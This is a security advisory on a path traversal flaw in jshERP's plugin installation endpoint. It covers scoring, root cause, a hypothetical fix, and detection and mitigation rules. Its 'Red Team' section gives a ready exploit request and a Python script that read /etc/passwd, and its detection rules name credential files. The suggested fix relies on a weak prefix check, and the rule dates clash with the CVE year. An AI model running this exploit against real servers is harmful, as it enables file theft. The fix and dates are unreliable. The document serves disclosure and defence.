CVE-2026-1588

Executive Summary

CVE-2026-1588 is a path traversal vulnerability in jishenghua jshERP up to version 3.6. The flaw resides in the installByPath function of the DefaultPluginOperator component, specifically within the /jshERP-boot/plugin/installByPath endpoint. An authenticated attacker with high privileges can manipulate the path argument to traverse directories outside the intended plugin directory, potentially reading arbitrary files on the server. The CVSS score is 2.7 (Low), but the public availability of exploit code and the lack of vendor response elevate the risk for unpatched instances.

Supply Chain & Package Security

This vulnerability affects the jshERP Java-based ERP system. The project is hosted on Gitee (Chinese Git platform) and is not distributed via standard package managers like Maven Central. The supply chain risk is moderate due to the lack of official patch and the project's apparent abandonment. Users should consider forking the repository and applying a manual fix or migrating to an alternative ERP solution.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N
• Base Score: 2.7 (Low)
• Attack Vector: Network (AV:N)
• Attack Complexity: High (AC:H) – Requires knowledge of the internal plugin structure and valid high-privilege credentials.
• Privileges Required: High (PR:H) – Attacker must be an administrator or have plugin management rights.
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – Limited to reading files accessible by the application process.
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Low (CVSS 2.7) but elevated due to public exploit and no patch.

Deep Dive & Mechanics

The vulnerability is in the com.gitee.starblues.integration.operator.DefaultPluginOperator class, specifically the installByPath method. This method is exposed via the REST endpoint /jshERP-boot/plugin/installByPath. The path parameter is used to locate a plugin file (typically a JAR) to install. The code does not properly sanitize or validate the path argument, allowing an attacker to use ../ sequences to escape the intended plugin directory.

Attack Flow:

1. Attacker authenticates as an admin user.
2. Attacker sends a POST request to /jshERP-boot/plugin/installByPath with a crafted path parameter, e.g., path=../../../../etc/passwd.
3. The application attempts to read the file at the resolved path.
4. If the file exists and is readable, the application may return its contents in an error message or log, or attempt to process it as a plugin (which will fail but may leak the content).

Root Cause: Lack of input validation and path canonicalization. The code likely uses new File(path).getAbsolutePath() or similar without checking if the resulting path is within the allowed plugin directory.

Vulnerable vs. Patched Code

Vulnerable Code (jshERP <= 3.6):

// DefaultPluginOperator.java
public void installByPath(String path) {
    File pluginFile = new File(path);
    // No validation of path traversal
    // Directly processes the file
    installPlugin(pluginFile);
}

Patched Code (Hypothetical fix):

// DefaultPluginOperator.java
public void installByPath(String path) {
    // Canonicalize and validate path
    File pluginFile = new File(path);
    String canonicalPath = pluginFile.getCanonicalPath();
    String allowedBase = new File("plugins").getCanonicalPath();
    if (!canonicalPath.startsWith(allowedBase)) {
        throw new SecurityException("Invalid plugin path: " + path);
    }
    installPlugin(pluginFile);
}

Note: No official patch exists. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Admin credentials for jshERP.
• Network access to the jshERP server.

Exploit Steps:

1. Authenticate and obtain a session cookie.
2. Send a crafted POST request to the vulnerable endpoint.

Example Request:

POST /jshERP-boot/plugin/installByPath HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=your_session_id

path=../../../../etc/passwd

Expected Response: The server may return an error message containing the file content, or the file may be read and processed (causing a crash but leaking data in logs).

Automated Exploit (Python):

import requests

target = "http://target.com/jshERP-boot/plugin/installByPath"
cookies = {"JSESSIONID": "your_session_id"}
data = {"path": "../../../../etc/passwd"}

response = requests.post(target, cookies=cookies, data=data)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /jshERP-boot/plugin/installByPath with path parameters containing ../ or absolute paths.
• Alert on any successful file read attempts outside the plugin directory.

Honeypot:

• Create a fake sensitive file (e.g., /tmp/honeypot.txt) and monitor for access via the plugin endpoint.

Log Analysis:

• Check application logs for errors related to DefaultPluginOperator or installByPath.
• Look for stack traces that reveal file paths.

Indicators of Compromise (IOCs)

• Network:

  • POST requests to /jshERP-boot/plugin/installByPath with path containing ../ or /.
  • Unusual file paths in HTTP request bodies (e.g., /etc/passwd, /etc/shadow).

• File System:

  • Unexpected files in the plugin directory.
  • Modified timestamps on system files (if write access was achieved).

• Logs:

  • Application logs containing FileNotFoundException or SecurityException for paths outside the plugin directory.
  • Access logs showing repeated attempts to the vulnerable endpoint.

Detection Engineering

YARA Rule

rule CVE_2026_1588_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in jshERP installByPath endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-1588"
    strings:
        $path_traversal = /path=\.\.\// nocase
        $sensitive_file = /(etc\/passwd|etc\/shadow|\.env|config\.properties)/ nocase
    condition:
        $path_traversal or $sensitive_file
}

Sigma Rule

title: CVE-2026-1588 jshERP Path Traversal Attempt
id: 9a8b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts against jshERP plugin install endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/jshERP-boot/plugin/installByPath*'
        cs-uri-query|contains: 'path=../'
    condition: selection
falsepositives:
    - Legitimate plugin installation from subdirectories
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-1588 jshERP Path Traversal Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/jshERP-boot/plugin/installByPath"; http_uri; content:"path="; http_client_body; pcre:"/path=[^&]*\.\.\//i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin installation endpoint if not required: Block /jshERP-boot/plugin/installByPath at the web server or firewall level.
2. Restrict access to the endpoint to only trusted IP addresses.
3. Apply input validation manually: Modify the DefaultPluginOperator.java to canonicalize and validate the path parameter against an allowed base directory.

Long-term Fix:

• Fork the repository and apply the patched code shown in the "Vulnerable vs. Patched Code" section.
• Monitor the official repository for any future updates.
• Consider migrating to a maintained ERP solution.

Workaround:

• Use a reverse proxy (e.g., Nginx) to block requests with ../ in the path parameter:

location /jshERP-boot/plugin/installByPath {
    if ($request_body ~* "path=\.\.") {
        return 403;
    }
    proxy_pass http://backend;
}

Valters IT
DevSecOps & Cyber Threat Intelligence